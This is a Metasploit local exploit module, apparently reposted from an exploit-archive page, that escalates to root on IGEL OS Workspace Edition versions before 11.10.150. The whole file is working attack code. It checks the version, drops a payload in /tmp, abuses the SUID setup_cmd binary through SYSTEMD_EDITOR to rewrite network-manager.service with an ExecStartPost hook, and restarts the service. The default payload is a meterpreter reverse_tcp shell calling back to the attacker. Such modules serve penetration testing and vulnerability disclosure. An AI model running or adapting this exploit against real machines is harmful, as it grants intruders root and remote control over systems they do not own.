Share
## https://sploitus.com/exploit?id=PACKETSTORM:212099
##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Local
      include Msf::Post::Linux
      include Msf::Post::Linux::System
      include Msf::Post::Unix
      include Msf::Post::File
      include Msf::Exploit::FileDropper
      include Msf::Exploit::EXE
      prepend Msf::Exploit::Remote::AutoCheck
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'IGEL OS Privilege Escalation (via systemd service)',
            'Description' => %q{
              Escalate privileges for IGEL OS Workspace Edition sessions, by modifying
              network-manager.service using setup_cmd (SUID) and network, then restarting
              the service.
            },
            'Author' => 'Zack Didcott',
            'License' => MSF_LICENSE,
            'Platform' => ['linux'],
            'Arch' => [ARCH_X64],
            'Targets' => [
              [
                'Linux x86_64', {
                  'Arch' => ARCH_X64,
                  'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }
                }
              ],
            ],
            'DefaultTarget' => 0,
            'SessionTypes' => ['shell', 'meterpreter'],
            'DisclosureDate' => '2024-07-10', # Patch release date
            'Notes' => {
              'Stability' => [CRASH_SERVICE_RESTARTS],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [CONFIG_CHANGES, SCREEN_EFFECTS]
            }
          )
        )
    
        register_advanced_options([
          OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
        ])
      end
    
      def check
        version = Rex::Version.new(
          read_file('/etc/system-release').delete_prefix('IGEL OS').strip
        )
        unless version < Rex::Version.new('11.10.150')
          return CheckCode::Safe("IGEL OS #{version} is not vulnerable")
        end
    
        CheckCode::Appears("IGEL OS #{version} should be vulnerable")
      end
    
      def exploit
        print_status('Uploading payload to target')
        payload_file = write_payload(generate_payload_exe, datastore['WritableDir'], 0o700)
    
        print_status('Writing config to target')
        config = build_config(payload_file)
        config_file = write_payload(config, datastore['WritableDir'], 0o600)
    
        print_status('Applying service config')
        vprint_status(modify_service(config_file))
    
        print_status('Restarting service')
        vprint_status(restart_service)
      end
    
      def write_payload(contents, dir, perm)
        fail_with(Failure::NoAccess, "Directory '#{dir}' is not writable") unless writable?(dir)
        fail_with(Failure::NoAccess, "Directory '#{dir}' is on a noexec mount point") if noexec?(dir)
    
        filepath = "#{dir}/#{Rex::Text.rand_text_alpha(8)}"
    
        write_file(filepath, contents)
        chmod(filepath, perm)
    
        unless file?(filepath)
          fail_with(Failure::Unknown, "Failed to write to '#{filepath}'")
        end
    
        register_files_for_cleanup(filepath)
    
        return filepath
      end
    
      def build_config(payload_file)
        config = <<~CONFIG.strip
          [Service]
          TimeoutStartSec=infinity
          ExecStartPost=#{payload_file}
        CONFIG
        return config
      end
    
      def modify_service(config_file)
        command = <<~COMMAND.strip
          /usr/bin/python3 -c 'import pty; pty.spawn("/bin/bash")' << EOF
          env SYSTEMD_EDITOR="/bin/cp #{config_file}" /config/bin/setup_cmd /config/bin/network edit
          EOF
        COMMAND
    
        script_file = write_payload(command, datastore['WritableDir'], 0o700)
        cmd_exec(script_file)
      end
    
      def restart_service
        create_process('/config/bin/setup_cmd', args: ['/config/bin/network', 'restart'], time_out: 120)
      end
    end